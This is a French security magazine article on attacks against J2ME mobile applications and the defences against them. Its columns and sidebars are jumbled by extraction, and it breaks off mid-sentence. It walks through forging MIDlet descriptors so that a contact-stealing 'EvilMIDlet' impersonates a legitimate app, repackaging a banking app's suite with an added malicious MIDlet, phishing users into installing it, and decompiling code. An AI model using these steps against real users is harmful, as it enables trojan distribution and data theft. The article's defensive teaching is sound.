MIDlet-Jar-URL: http://www.address.com/applications/XMLMIDlet.jar MIDlet-Name: XMLMIDlet

MIDlet-Vendor: XML Corp. MIDlet-Version: 1.0

MicroEdition-Configuration: CLDC-1.0 MicroEdition-Profile: MIDP-2.0

MIDlet-1: XMLMIDlet, XMLMIDlet.png, XmlAdvMIDlet

L'attribut MIDlet-Jar-Size définit la taille de l'archive en octets. Si la taille de l'archive téléchargée diffère de celle déclarée dans cet attribut, JAM constatera un essai d'attaque et il rejettera un MIDlet Suite. MIDlet-Jar-Url contient l'adresse Internet depuis laquelle JAM doit télécharger une application. Les autres attributs définissent le nom de l'application, le fournisseur et la configuration requise (si le périphérique n'est pas capable de satisfaire à l'une des exigences matérielles, l'application ne sera pas téléchargée). L'attribut MIDlet-1 comprend trois paramètres – le nom de l'application et son icône (ceux-ci sont affichés à l'utilisateur) ainsi que le nom de la classe principale de l'application. Un paquet (fichier .jar) peut contenir plus d'une application – dans le descripteur de ce paquet, il y aura alors plusieurs attributs MIDlet-n ( MIDlet-1, MIDlet-2, MIDlet-3 ...) définissant les applications suivantes faisant partie du paquet. Voici certains attributs facultatifs :

sur son ordinateur une application autre que celle qu'il veut. Chaque application mobile (MIDlet Suite) est constituée de deux parties – un fichier avec l'extension .jar étant une archive comprenant les applications avec un fichier de manifeste et un fichier avec l'extension .jad étant un descripteur (description) des applications compressées (voir l'Encadré Fichier de descripteur de l'application). Admettons que vous vouliez vous faire passer pour une application très populaire – XMLmidlet, lecteur news – puis faire en sorte que les utilisateurs téléchargent votre application sur leurs périphériques tout en étant sûrs qu'ils téléchargent un produit adéquat. Lors du chargement du MIDlet, JAM (Java Application Manager – gestionnaire des applications J2ME dans un périphérique mobile) lit les attributs du MIDlet enregistrés dans le fichier de descripteur (fichier .jad) et il les présente à l'utilisateur pour que celui-ci puisse prendre une décision sur le chargement de l'application. Le processus de chargement de l'application se déroule selon les étapes suivantes : •

MIDlet-Description: Small XML based news reader. MIDlet-Info-URL: http://www.XMLCorp.com

MIDlet-Permissions: javax.microedition.io.Connector.socket

MIDlet-Permissions-opt: javax.microedition.io.Connector.ssl

•

MIDlet-Certificate-1-1: [ ici, le certificat du signataire ]

MIDlet-Jar-RSA-SHA1: [ ici, la signature (abréviation) du fichier .jar ]

Les deux premiers fournissent les informations supplémentaires affichées à l'utilisateur lorsque l'on lui demande son accord pour charger une application vers son périphérique mobile – une brève description de l'application et l'adresse URL à laquelle vous pouvez trouver plus d'informations sur l'application elle-même et sur son éditeur. Les attributs suivants sont liés à l'élargissement du module de sécurité dans MIDP 2.0 (voir l'Encadré Élargir le modèle de sécurité dans MIDP 2.0). Attributs utilisateur :

•

•

MIDlet-Certificate: EU Security Council MIDlet-Region: Europe MIDlet-Security: High

Ce sont les attributs créés par le développeur (fournisseur) de l'application et ils ne sont pas utilisés par JAM.

•

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l'utilisateur reçoit l'information sur la localisation du MIDlet ou plus précisément sur la localisation de son fichier de descripteur au moyen de WAP, HTTP ou d'un autre mécanisme, l'adresse du fichier de descripteur est transmise à JAM qui télécharge le fichier de descripteur et lit les attributs y enregistrés, JAM présente à l'utilisateur les informations du fichier de descripteur et il lui demande si l'application doit être téléchargée, si l'utilisateur l'accepte, JAM télécharge l'application, il décompresse l'archive et compare le fichier de manifeste (faisant partie de l'archive) avec le fichier .jad ; si les valeurs des attributs dans le fichier de manifeste diffèrent des valeurs des attributs dans le fichier de descripteur, l'application sera rejetée, JAM vérifie et installe l'application.

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Listing 1. Descripteur de l'application mobile MIDlet-1: XMLMIDlet, XMLMIDlet.png, XmlAdvMIDlet MIDlet-Description: Small XML based news reader. MIDlet-Info-URL: http://www.XMLCorp.com MIDlet-Jar-Size: 41002 MIDlet-Jar-URL: XMLMIDlet.jar MIDlet-Name: XMLMIDlet MIDlet-Permissions: javax.microedition.io.Connector.socket MIDlet-Permissions-opt: javax.microedition.io.Connector.ssl MIDlet-Vendor: XML Corp. MIDlet-Version: 1.0 MicroEdition-Configuration: CLDC-1.0 MicroEdition-Profile: MIDP-2.0

Listing 2. Descripteur modifié

Bases

MIDlet-1: XMLMIDlet, XMLMIDlet.png, EvilMIDlet MIDlet-Description: Small XML based news reader. MIDlet-Info-URL: http://www.XMLCorp.com MIDlet-Jar-Size: 23191 MIDlet-Jar-URL: XMLMIDlet.jar MIDlet-Name: XMLMIDlet MIDlet-Permissions: javax.microedition.io.Connector.socket MIDlet-Permissions-opt: javax.microedition.io.Connector.ssl MIDlet-Vendor: XML Corp. MIDlet-Version: 1.0 MicroEdition-Configuration: CLDC-1.0 MicroEdition-Profile: MIDP-2.0

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Dans le Listing 1, vous pouvez voir le descripteur du MIDlet que nous voulons falsifier. JAM le présentera à l'utilisateur de façon indiquée sur la Figure 1. Comme vous pouvez le voir, JAM réécrit tout simplement sur l'écran le contenu de certains attributs du fichier .jad – pour se faire passer pour une autre application, il suffit de créer une application avec un descripteur identique que celui de l'application originale. Bien sûr, notre jeu sera dévoilé au premier démarrage de l'application mais parfois cela suffit pour faire des dégâts considérables. Admettons que vous teniez à ce que l'utilisateur télécharge votre application – EvilMIDlet, virus envoyant à son créateur tout le carnet d'adresses du périphérique, sous prétexte de télécharger XMLMIDlet. La première opération à effectuer consiste à falsifier les fichiers de manifeste et de descripteur. Pour cela, il faut modifier le fichier original présenté dans le Listing 1. Le fichier falsifié du descripteur est montré dans le Listing 2. Le fichier de manifeste sera presque identi-

que – seul l'attribut MIDlet-Jar-Size sera différent, ce qui est bien évident. Comme vous le voyez, le nouveau fichier diffère par deux points seulement : le nom de la classe appelée (attribut MIDlet-1) et la taille du fichier .jar (attribut MIDlet-Jar-Size). La chose suivante à faire consiste à créer une archive .jar qui constituera avec le fichier falsifié de descripteur une application prête à être publiée : jar –cmj XMLMIDlet.jar manifest.mf *.*

Cette commande permet de créer une archive .jar nommée XMLMIDlet.jar, d'y ajouter le fichier de manifeste créé à la base du fichier manifest.mf et d'ajouter à l'archive tous les fichiers du répertoire actuel. Le fichier manifest.mf un fichier texte ordinaire presque identique au fichier de descripteur – l'attribut MIDlet-JarSize en moins est la seule différence. La dernière étape de l'attaque à réaliser est de mettre une application falsifiée sur le net et d'encourager les victimes potentielles à télécharger le

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Figure 1. Questions posées par JAM à l'utilisateur code malveillant – il existe plusieurs moyens permettant de le faire. La seule méthode de défense contre les attaques de ce type consiste à signer les MIDlets (voir l'Encadré Domaines de sécurité et signatures des applications).

Scénario n° 2 – vol du code

L'utilisateur malveillant peut vouloir obtenir l'accès au code source de l'application. Les raisons en peuvent être multiples – le vol du code, le fait d'essayer de briser les mécanismes de sécurisation d'une application, la volonté de connaître la méthode de ponctuation dans un jeu, etc. Le fichier .jar est une archive ordinaire compressée à l'aide de l'algorithme zip. Pour obtenir l'accès aux fichiers .class sous Windows, il suffit de remplacer l'extension du fichier .jar par .zip et de se servir de n'importe quelle application d'archivage. Sous Linux, cela est encore plus simple – il suffit d'utiliser le logiciel unzip : $ unzip nomfichier.jar

Ainsi, vous pouvez décompresser l'archive dans un répertoire choisi sur le disque. Prenons comme exemple XMLMIDlet. Après avoir défini l'extension .zip et décompressé l'archive à l'aide de WinZip, vous obtenez le même résultat que celui présenté sur la Figure 2. Décompressez les fichiers dans un répertoire choisi et ouvrez l'un

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Attaques contre les applications J2ME

d'eux avec un décompilateur du langage Java. Sur le net, il y a plein de solutions gratuites – nous allons utiliser DJ Java Decompiler (voir l'Encadré Sur le réseau) tournant dans l'environnement Windows. Avec son aide, ouvrez le fichier principal de l'application. Dans notre cas – nous le savons grâce au fichier de descripteur – XmlAdvMIDlet.class est le fichier principal de l'application. Le processus de décompilation est présenté sur la Figure 3. C'est tout. Comme vous voyez, même un utilisateur peu expérimenté avec le système Windows peut accéder sans problèmes au code source des applications J2ME. Une fois la décompilation terminée, il peut le modifier, compiler, créer ses propres applications ou l'étudier afin de briser les systèmes de sécurité de l'application originale. La protection contre le vol du code est simple – il faut utiliser un obfuscateur. Sa tâche est de remplacer les identifiants et les parties du code par des chaînes de caractères non caractéristiques et plus courts. La vocation de l'obfuscateur est de supprimer tous les commentaires, remplacer les constantes par leurs valeurs et les noms des variables et des classes par des noms peu lisibles pour l'homme. Les outils de ce type sont également capables de détecter et de supprimer les champs non utilisés, ainsi que les méthodes privées des classes Java. Toutes ces opérations contribuent à ce que le reverse engineering soit beaucoup plus difficile à réaliser et à ce que la taille de l'application diminue, ce qui est également important (cela influence son efficacité). Quel est le résultat du fonctionnement des obfuscateurs ? Le Listing 3 présente le code source de la procédure permettant d'authentifier les utilisateurs à l'aide du code PIN. Dans le Listing 4, vous pouvez voir la version décompilée du code non sécurisé à l'aide de l'obfuscateur et dans le Listing 5, il y a le code décompilé de la procédure sécurisée. Comme vous pouvez le voir, la procédure n'est plus lisible et les variables globales non standard ap-

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Figure 2. Décompression du fichier .jar dans Windows

Figure 3. Décompilation du fichier .class paraissent : fldnull, fldif, etc. L'exemple donné est simple mais il explique bien le principe de fonctionnement des obfuscateurs. Sur la Figure 4, vous pouvez voir l'archive .jar avec les classes sécurisées à l'aide de l'obfuscateur – le fait de l'utiliser ne permet pas d'éviter la décompression de l'archive mais il rend les autres opérations beaucoup plus difficiles. À vrai dire, il est possible de constater quel fichier est le

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plus important (XmlAdvMIDlet ; ce nom n'a pas pu être changé car JAM doit savoir quel fichier doit être chargé en premier) mais à part cela, rien ne peut être déduit – l'identification des classes en fonction des noms n'est plus possible. Les obfuscateurs peuvent être téléchargés depuis Internet – il existe plusieurs solutions gratuites. Et ce qui est plus important, les logiciels de création d'applications mobiles

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Listing 3. Code source de la procédure J2ME public void commandAction(Command c, Displayable d) { if (c.getCommandType()==Command.OK) { switch(logique) { case 1 : // l'utilisateur a entré le numéro PIN // et il a appuyé sur ok if (textBox.getString().equals(pin)) { logique =2; display.setCurrent(list); } else // PIN non valide { alert.setString("PIN non valide!"); display.setCurrent(alert); } break; case 2: // l'utilisateur a choisi un élément dans la liste logique =3; display.setCurrent(form); break; case 3: // l'utilisateur a rempli le formulaire alert.setString("Merci de donner vos coordonnées personnelles!"); display.setCurrent(alert); } } if (c.getCommandType()==Command.EXIT) { destroyApp(true); notifyDestroyed(); } }

Bases

Listing 4. Code source décompilé de l'application non sécurisée à l'aide de l'obfuscateur

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public void commandAction(Command command, Displayable displayable) if(command.getCommandType() == 4) switch(logique) { default: break; case 1: // '\001' if(textBox.getString().equals(pin)) { logique = 2; display.setCurrent(list); } else { alert.setString("PIN non valide!"); display.setCurrent(alert); } break; case 2: // '\002' logique = 3; display.setCurrent(form); break; case 3: // '\003' alert.setString("Merci de donner vos coordonnées personnelles!"); display.setCurrent(alert); break; } if(command.getCommandType() == 7) { destroyApp(true); notifyDestroyed(); } }

{

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les plus populaires (y compris Sun Wireless Toolkit) permettent l'intégration d'un obfuscateur. Les adresses Internet des logiciels de cette classe se trouvent dans l'Encadré Sur le réseau.

Scénario n° 3 – cheval de Troies

Conformément à l'une des règles définissant le bac à sable J2ME (voir l'Encadré Bac à sable (sandbox)), les différentes applications ne peuvent pas lire réciproquement leurs données. Pourtant, cette méthode de sécurisation peut être contournée – la création des chevaux de Troies est également possible dans J2ME. Admettons qu'une banque mette à disposition de ses clients un service d'accès à leur compte bancaire depuis un téléphone mobile. L'utilisateur doit simplement télécharger une application J2ME depuis le portail de la banque et l'installer sur son périphérique. L'application permet la connexion distante à la banque, la vérification de l'état du compte et le téléchargement des informations sur les opérations effectuées sur le compte dans une période de temps. Ces données sont enregistrées dans le périphérique afin de présenter facilement et rapidement l'historique du compte bancaire à l'utilisateur et de diminuer le nombre des données envoyées. Le fichier .jar (MIDlet Suite) comprend, en règle générale, une seule application et ses ressources (images, sons, etc.) mais il est possible de créer des paquets comprenant quelques applications. Une fois le MIDlet Suite téléchargé et démarré, le menu contenant la liste des applications composantes est affiché. L'utilisateur choisit l'application qu'il veut démarrer. L'attaque contre une application bancaire de ce type consistera à ajouter à son MIDlet Suite une application supplémentaire aux propriétés néfastes. Quels peuvent être les avantages de cette attaque ? Dans J2ME, les permissions sont accordées aux paquets entiers – l'application ajoutée aura l'accès à la même API protégée que l'application bancaire (l'application malveillante abusera de la

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Attaques contre les applications J2ME

Listing 5. Résultat de la décompilation du code sécurisé à l'aide de l'obfuscateur public void commandAction(Command command, Displayable displayable) if(command.getCommandType() == 4) switch(_fldnull) { default: break; case 1: // '\001' if(_fldgoto.getString().equals(a)) { _fldnull = 2; _fldchar.setCurrent(_fldbyte); } else { _fldcase.setString("PIN non valide!"); _fldchar.setCurrent(_fldcase); } break; case 2: // '\002' _fldnull = 3; _fldchar.setCurrent(_fldif); break; case 3: // '\003' _fldcase.setString("Merci de donner vos coordonnées personnelles!"); _fldchar.setCurrent(_fldcase); break; } if(command.getCommandType() == 7) { destroyApp(true); notifyDestroyed(); } }

{

Figure 4. L'archive .jar avec les classes sécurisées à l'aide de l'obfuscateur confiance de l'utilisateur de l'application bancaire afin d'obtenir l'accès à l'API protégée). En outre, les applications faisant partie du même paquet

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partagent la mémoire commune des données (persistent storage). Si un MIDlet (application bancaire, par exemple) y crée son record store,

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toutes les applications appartenant au même paquet pourront y accéder. Comment réaliser une attaque de ce type ? La première opération à effectuer consiste à posséder l'application attaquée. Cela ne devrait pas être difficile à faire. Le processus de téléchargement de l'application sur un téléphone mobile consiste à ce que le périphérique télécharge le fichier .jad, lise l'emplacement du fichier .jar (attribut MIDlet-Jar-URL) et télécharge l'application. Cette opération est effectuée au moyen du protocole HTTP – cela signifie que tout le processus peut être effectué sans aucun efforts spéciaux sur un PC à l'aide d'un navigateur Web ordinaire. À l'étape suivante, l'application téléchargée doit être décompressée dans un répertoire choisi – comme indiqué dans le scénario n° 2 – et les classes malveillantes (leurs fichiers .class) doivent y être copiées. Ensuite, il faut modifier les fichiers de manifeste et de descripteur. Un nouvel attribut : MIDlet-2 est la seule modification, mise à part la nouvelle taille de l'application. Il faut l'ajouter pour informer JAM que le paquet comprend plus d'une application (les attributs MIDlet-3, MIDlet-4, etc. doivent être ajoutés si vous souhaitez ajouter plus d'applications). Cet attribut permet d'ajouter votre application au menu affiché à l'utilisateur (voir la Figure 5). Si vous admettez que le XMLMIDlet décrit auparavant soit une application attaquée, le fichier orignal de descripteur se trouve dans le Listing 1. Listing 6 présente le fichier .jar modifié. Enregistrez le fichier présenté dans le Listing 6 en tant que manifest.mf, supprimez la ligne contenant l'attribut MIDlet-Jar-Size (voir l'Encadré Fichier de descripteur de l'application) et créez une archive : jar –cmf XMLMIDlet.jar manifest.mf *.*

Cette commande comme dans le scénario n°1 permet de créer l'archive .jar nommée XMLMIDlet.jar, d'y ajouter le fichier de manifeste créé à la base du fichier manifest.mf, puis

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Listing 6. Le descripteur modifié de l'application mobile – application ajoutée

Bases

MIDlet-1: XMLMIDlet, XMLMIDlet.png, XmlAdvMIDlet MIDlet-2: WinPrize, XMLMIDlet.png, EvilMIDlet MIDlet-Description: Small XML based news reader. MIDlet-Info-URL: http://www.XMLCorp.com MIDlet-Jar-Size: 62195 MIDlet-Jar-URL: XMLMIDlet.jar MIDlet-Name: XMLMIDlet MIDlet-Permissions: javax.microedition.io.Connector.socket MIDlet-Permissions-opt: javax.microedition.io.Connector.ssl MIDlet-Vendor: XML Corp. MIDlet-Version: 1.0 MicroEdition-Configuration: CLDC-1.0 MicroEdition-Profile: MIDP-2.0

d'ajouter à l'archive tous les fichiers du répertoire actuel. La Figure 5 représente la vue affichée sur l'écran du périphérique. Une fois MIDlet Suite installé, l'utilisateur a au choix deux applications à démarrer – l'une originale et l'autre malveillante. Maintenant, il ne reste à l'attaquant que de persuader les utilisateurs de télécharger la version modifiée de MIDlet Suite. Il est possible de le faire en envoyant aux utilisateurs d'un portail un message e-mail avec un lien vers la page falsifiée dont l'apparence ressemble à celle de la page d'une banque. Une seule méthode de protection contre les attaques de ce type est de signer les MIDlets (voir l'Encadré Domaines de sécurité et signatures des applications). L'utilisateur est alors sûr de la source de l'application téléchargée et que personne ne l'a modifiée – dans le descripteur de l'application, il y a la signature du fournisseur de la distribution et l'abréviation (créée au moyen de la fonction SHA) du fichier .jar. Bien que cela ne rende pas l'attaque impossible à réaliser, l'application modifiée ne sera pas signée (à moins que l'attaquant ait accès à la clé privée du distributeur de l'application mais cela est pratiquement impossible).

Scénario n° 4 – vol du périphérique

De plus en plus de téléphones mobiles ou PDA utilisent des cartes mémoire externes pour enregistrer

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des données. Il arrive très souvent que non seulement les applications téléchargées soient stockées sur ces cartes mais aussi leurs données. Le périphérique mobile peut être facilement perdu à la suite d'un vol ou d'une perte – et les données peuvent alors tomber facilement dans les mains de personnes malveillantes (le lecteur de cartes flash suffit). Pour les périphériques stockant les données sur les supports de mémoire non amovibles, ce problème n'existe pas en général – la lecture des données est possible bien évidemment mais cela n'est pas si facile que ça (pour cela, il faut un câble reliant le périphérique à l'ordinateur, un logiciel adéquat et un certain savoir-faire en matière d'électronique). Comment alors protéger les données confidentielles contre la lecture non sollicitée ? Il faut les chiffrer. En utilisant la clé enregistrée en dur dans le code de l'application (ou encore mieux – entrée par l'utilisateur), vous devez chiffrer les données que vous souhaitez enregistrer sur la carte flash, par exemple. Ainsi, une chaîne de bits sans signification (pour un logiciel non averti) sera enregistrée dans le périphérique. Pour mettre à jour les données (ajouter les coordonnées d'un nouvel ami, par exemple), il faut lire les données depuis le record store au moyen de méthodes standard, puis les déchiffrer en utilisant la même clé que celle mise en œuvre lors du chiffrage. Toute la difficulté est de chiffrer les données juste avant de les enregis-

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Figure 5. Nouvelle position dans le menu MIDlet Suite affichée après avoir ajouté l'attribut MIDlet-2 au fichier de descripteur trer dans le record store et de les déchiffrer juste après la lecture. Malheureusement, ni MIDP 1.0, ni MIDP 2.0 ne mettent à disposition des bibliothèques de chiffrage – il faut alors utiliser l'un des paquets externes disponibles sur le net (pour trouver leurs adresses, reportez-vous à l'Encadré Sur le réseau). Vous avez quelques bibliothèques au choix parmi lesquelles Bouncy Castle, bibliothèque Open Source utilisant la plupart des algorithmes de chiffrage, est la plus populaire. Comme sa taille est assez importante (1 Mo environ), elle ne peut pas être utilisée entièrement sur le périphérique mobile. Heureusement,

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Attaques contre les applications J2ME

cipher.init(true,

Bac à sable (sandbox)

J2ME est sécurisé à chaque étape de la gestion des applications mobiles : •

•

•

•

•

le téléchargement, le chargement et le démarrage de l'application sont effectués par la machine virtuelle et le développeur ne peut pas y accéder. Dans J2ME, il est impossible d'installer votre propre classloader. Le développeur peut accéder à une API bien définie et le langage Java ne lui permet pas de créer le code malveillant (par exemple, le manque des indicateurs et la surveillance de l'indexage des tableaux ne permettent pas d'accéder à ces zones de la mémoire auxquelles le processus d'utilisateur ne doit pas avoir accès). Comme dans J2SE ordinaire, les classes sont soumises à la vérification bien que cela se passe de manière différente. Le processus de vérification des classes juste avant de démarrer l'application est très exigeant – aussi bien en ce qui concerne la puissance de calcul que la mémoire. C'est pourquoi, dans Java 2 Micro Edition, une partie du processus de vérification des classes a été transférée vers l'ordinateur où la compilation de l'application est effectuée. Cette partie de la vérification s'appelle la pré-vérification. Cela consiste à ce que, lors de la compilation, certaines informations supplémentaires soient ajoutés au code de la classe. Au démarrage de l'application, la machine virtuelle du périphérique mobile lit les informations ajoutées et en s'y appuyant, elle prend une décision sur un éventuel rejet de l'exécution de l'application. Le processus d'analyse des informations ajoutées lors de la pré-vérification ne demande pas une aussi grande puissance du processeur que la vérification complète et les informations sur la sécurité de la classe elles-mêmes font augmenter son code de 5% à peine. Dans J2ME, vous trouverez un ensemble de méthodes sûres dont l'appel ne met pas en danger la sécurité. L'appel d'une méthode quelconque ne faisant pas partie de cet ensemble (méthode protégée) entraîne l'affichage d'un avertissement approprié sur l'écran du périphérique, y compris la demande à l'utilisateur de confirmer une telle opération. L'exemple de l'API protégée peut être le paquet javax.microedition.io comprenant les objets représentant les différents protocoles de communication supportés – l'établissement de la connexion réseau dans l'application sera suspendu jusqu'à l'obtention de l'accord de l'utilisateur. Les MIDlets peuvent enregistrer les données dans un téléphone mobile (persistent storage) et être regroupés en paquets (MIDlet Suite). Les MIDlets étant membres d'un paquet MIDlet peuvent manipuler réciproquement sur leurs données mais l'accès à ces données n'est pas autorisé aux MIDlets faisant partie d'un autre paquet. Autrement dit – l'application-espion nouvellement téléchargée depuis Internet faisant semblant d'être un jeu populaire ne peut pas lire le numéro du compte et le nom de la banque enregistrés dans un périphérique par une application bancaire installée au préalable.

Cet ensemble de règles porte le nom de bac à sable (sandbox) où les applications mobiles sont démarrées. MIDlet n'a pas le droit d'appeler certaines méthodes et les autres (celles concernant les connexions réseaux, par exemple) peuvent être appelées seulement après être confirmées par l'utilisateur. Au niveau sécurité, cela ressemble beaucoup au modèle de sécurité des applets dans J2SE ayant l'accès à l'écran ou au clavier, pouvant établir les connexions réseaux mais n'ayant pas de droits d'écriture sur le disque. La même chose concerne les MIDlets – ils ont l'accès à l'écran et au clavier (touchpad ou manipulateur), ils disposent d'un espace mémoire alloué mais pour établir la connexion réseau, ils doivent demander l'accord de l'utilisateur.

cela n'est pas nécessaire – la licence permet de modifier la bibliothèque et de n'ajouter à l'application créée que les classes que seront mises en pratique. La création d'une application capable de chiffrer des données quelconques requiert en général la connaissance de J2ME et l'écriture

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d'un logiciel adéquat. Pour chiffrer des données quelconques, nous allons utiliser l'un des transcodeurs faisant partie de ce paquet (le chiffrage de flux et le chiffrage de bloc sont possibles) : StreamCipher cipher = new RC4Engine();

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new KeyParameter(key));

Dans la première ligne, un objet du transcodeur demandé est créé. L'étape suivante consiste à l'initialiser. La procédure init() adopte le paramètre true si le transcodeur est utilisé pour chiffrer les données et le paramètre false pour le déchiffrage de celles-ci. La clé (chaîne de bits) intégrée dans la classe KeyParameter est le second paramètre de cette procédure. Le chiffrage de données consiste à appeler la méthode processBytes() : byte [] text =”hakin9”.getBytes(); byte [] cipheredText = new byte(text.length); cipher.processBytes(text, 0, text.length, cipheredText, 0);

Cette méthode adopte en tant que paramètres le tableau d'octets (vos données) destiné au chiffrage, l'index de son premier champ et le nombre d'octets à chiffrer, le tableau de résultats (des octets chiffrés) et l'index où les octets chiffrés doivent être insérés. Maintenant, il suffit d'insérer la procédure de chiffrage (et de déchiffrage) avant chaque opération d'écriture et après chaque opération de lecture depuis le record store. Si l'écriture/la lecture des données est réalisée dans des procédures distinctes (readData(), writeData(), par exemple) de votre application, le chiffrage peut être effectué de façon inaperçue pour les couches supérieures de l'application.

Scénario n° 5 – écoute de la connexion réseau

Toute application sophistiquée utilise des connexions réseaux pour recevoir et envoyer des informations. Pour les différents types de jeux ou de logiciels d'information (horaire des moyens de communication urbaine, par exemple), ce ne sont pas des informations confidentielles. Cependant, il y a des situations où vous tenez beaucoup à sécuriser les données envoyées (l'application

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Domaines de sécurité et signatures des applications Conformément à la spécifi cation MIDP 2.0 (Mobile Information Device Profi le – voir l'Encadré Élargir le modèle de sécurité dans MIDP 2.0), il doit être possible pour chaque périphérique de stocker de façon sûre les certifi cats définissant les profi lés de sécurité. Les certifi cats en question sont intégrés dans le périphérique par le fabricant et la méthode de leur stockage n'est pas définie. Un domaine de sécurité définissant la procédure pour une API protégée est associé avec chaque certifi cat stocké dans un périphérique mobile. Les domaines de sécurité sont constitués de deux parties : • •

ensemble des permissions devant être accordées à l'application si celle-ci le demande, ensemble des permissions devant être autorisées par l'utilisateur.

Lorsqu'une application exige une permission faisant partie du second ensemble, celle-ci doit être accordée en mode interactif. L'utilisateur peut accorder l'un de trois types de permissions : blanket – la permission toujours valide jusqu'à la désinstallation de l'application, session – la permission valide jusqu'à ce que l'application cesse de fonctionner et oneshot – la permission d'une seule fois. Chaque permission étant le composant du domaine ne peut faire partie que de l'un des ensembles ci-dessus. L'association de MIDlet avec un domaine de sécurité se fait par le signer. Le processus de signature du MIDlet se déroule de la manière suivante :

Bases

Élargir le modèle de sécurité dans MIDP 2.0

MIDP 2.0 permet l'élargissement du modèle de sécurité MIDP 1.0 (voir l'Encadré Bac à sable (sandbox)). Il comprend un jeu défini de permissions inhérentes aux méthodes protégées. Différents périphériques peuvent avoir un autre jeu d'API protégées en fonction des possibilités matérielles d'un périphérique, de sa destination et de la politique du fabricant. Les permissions sont accordées de façon hiérarchique et leurs noms correspondent aux noms des paquets auxquels ils sont assignés. Ainsi, le fait que le MIDlet possède des permissions appelées javax.microedition.io.HttpsConnection veut dire que l'application a le droit d'établir des connexions HTTPS. Les permissions ne sont utilisées que pour une API faisant partie de l'API protégée – à titre d'exemple, la permission nommée java.lang.Boolean est dépourvue de sens de point de vue de l'API et elle sera ignorée. La demande et l'assignation des permissions au MIDlet sont réalisées soit au moyen des domaines de sécurité et la signature du MIDlet (voir l'Encadré Domaines de sécurité et signatures des applications), soit à l'aide des attributs MIDlet-Permissions dans le fichier de descripteur de l'application.

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•

• •

mise en place du certificat (ou des certificats) de signature dans le fichier de descripteur (dans la section MIDlet-Certificate, l'encodage base64) avec le chemin de certification mais sans certificat supérieur (root certificate), création de la signature du fichier .jar, intégration de la signature dans le fichier .jad (dans la section MIDlet-Jar-RSA-SHA1, l'encodage base64).

La vérification du MIDlet signé se déroule ainsi : •

• •

• • •

si le descripteur du MIDlet ne comprend pas la section MIDletJar-RSA-SHA1, il est considéré comme non fiable (les attributs MIDlet-Permissions sont interprétés conformément à la politique du périphérique concernant les MIDlets non fiables), les chemins de certification sont lus depuis la section MIDlet-Certificate, les certificats suivants sont vérifiés à l'aide des certificats supérieurs enregistrés dans le périphérique ; si la vérification se déroule bien (le premier certificat vérifié avec succès), un domaine de sécurité lié au certificat supérieur inscrit dans le périphérique (celui utilisé pour vérifier le chemin de certification) est assigné au MIDlet, la clé publique du signataire est obtenue à partir du certificat vérifié, la signature est lue depuis l'algorithme de signature MIDletJar-RSA-SHA1, la signature est vérifiée à l'aide de la clé publique et de l'algorithme de signature – si la vérification a échoué, le MIDlet est rejeté.

Avec chaque MIDlet utilisant l'API protégée deux ensembles des permissions requises sont associés : MIDlet-Permissions et MIDlet-Permissions-Opt. Les deux sont définis dans le descripteur de l'application affichant la liste des permissions. MIDlet-Permissions comprend les permissions indispensables pour que l'application tourne et dans MIDlet-Permissions-Opt, il y a des permissions sans lesquelles l'application peut se passer (au dépens d'une fonctionnalité, dans la plupart des cas). Si la politique de sécurité du périphérique ne permet pas aux MIDlets d'établir les connexions HTTPS, le MIDlet qui en a besoin pour fonctionner ne sera pas lancé – bien sûr, l'utilisateur pourra lire un message adéquat l'informant sur les raisons du rejet de l'application. Par contre, le MIDlet voulant établir les connexions HTTPS sans que cela soit nécessaire pour qu'il puisse marcher (texte javax.microedition.io.HttpsConnection dans MIDlet-Permissions-Opt) sera lancé. Sa tâche est d'informer l'utilisateur sur l'impossibilité d'utiliser les fonctionnalités basées sur ce mécanisme car le manque de HTTPS rend impossible les opérations distantes sur le compte. Pour trouver l'exemple d'utilisation de deux attributs, reportez-vous à l'Encadré Fichier de descripteur de l'application.

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Attaques contre les applications J2ME

Sur le réseau Protocoles de sécurité les plus populaires utilisés dans MIDP 2.0 : • http://www.ietf.org/rfc/rfc2437 – PKCS #1 RSA Encryption Version 2.0, • http://www.ietf.org/rfc/rfc2459 – X.509 Public Key Infrastructure, • http://www.ietf.org/rfc/rfc2560 – Online Certificate Status Protocol, • http://www.wapforum.org/what/technical.htm – WAP Certificate Profile Specification. Obfuscateurs : • http://www.zelix.com/klassmaster/docs/j2mePlugin.html, • http://developers.sun.com/techtopics/mobility/midp/questions/obfuscate/, • http://www.codework.com/dashO/product.html, • http://www.retrologic.com/retroguard-main.html, • http://proguard.sourceforge.net/, Décompilateurs : • http://members.fortunecity.com/neshkov/dj.html, • http://www.andromeda.com/people/ddyer/java/decompiler-table.html, • http://www.bysoft.se/sureshot/cavaj/, • http://sourceforge.net/projects/dcompiler. Paquets de chiffrage : • http://www.bouncycastle.org, • http://www.phaos.com/products/category/micro.html, • http://www.b3security.com/. Wireless Toolkit : • http://java.sun.com/products/j2mewtoolkit/. J2ME et MIDP : • http://java.sun.com/j2me/, • http://java.sun.com/products/midp/, • http://jcp.org/aboutJava/communityprocess/final/jsr037/index.html, • http:// jcp.org/aboutJava/communityprocess/final/jsr118/index.html.

bancaire citée auparavant, par exemple). Si l'interception des données envoyées via le réseau GSM (entre le périphérique et le point d'accès à Internet) est difficile et coûteuse (et dans la plupart des cas – non rentable), cela est simple à faire à partir de la couche Internet (point d'accès à Internet – serveur de communication de destination). Pour en savoir plus sur les méthodes d'interception des connexions Internet, reportez-vous aux articles de Maciej Szmit Sniffing dans l'ethernet commuté (hakin9 02/2003) ou de Piotr Tyburski Attaque man in the middle sur la connexion chiffrée de Jabber (hakin9 05/2004) – une fois les modifications nécessaires effectuées, le savoir-faire acquis peut être utilisé pour écouter la transmission réseau. Comment peut-on se protéger contre le vol des données réseaux ?

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HTTP est le seul protocole réseau supporté par MIDP 1.0 – seulement ce protocole doit être disponible sur le périphérique compatible avec MIDP 1.0. Il est vrai que certains périphériques utilisent d'autres protocoles de communication mais cela n'est dû qu'à la bonne volonté de leurs fabricants. En outre, certains périphériques (certains téléphones Motorola, par exemple) mettent à disposition leurs propres bibliothèques de chiffrage. Celles-ci grâce à la mise en pratique des fonctionnalités matérielles spécialisées peuvent être beaucoup plus rapides que les solutions externes (third party). Mais il n'y a point de roses sans épines. Le fait d'utiliser dans une application mobile créée des solutions natives pour un périphérique contribue à ce que celle-ci

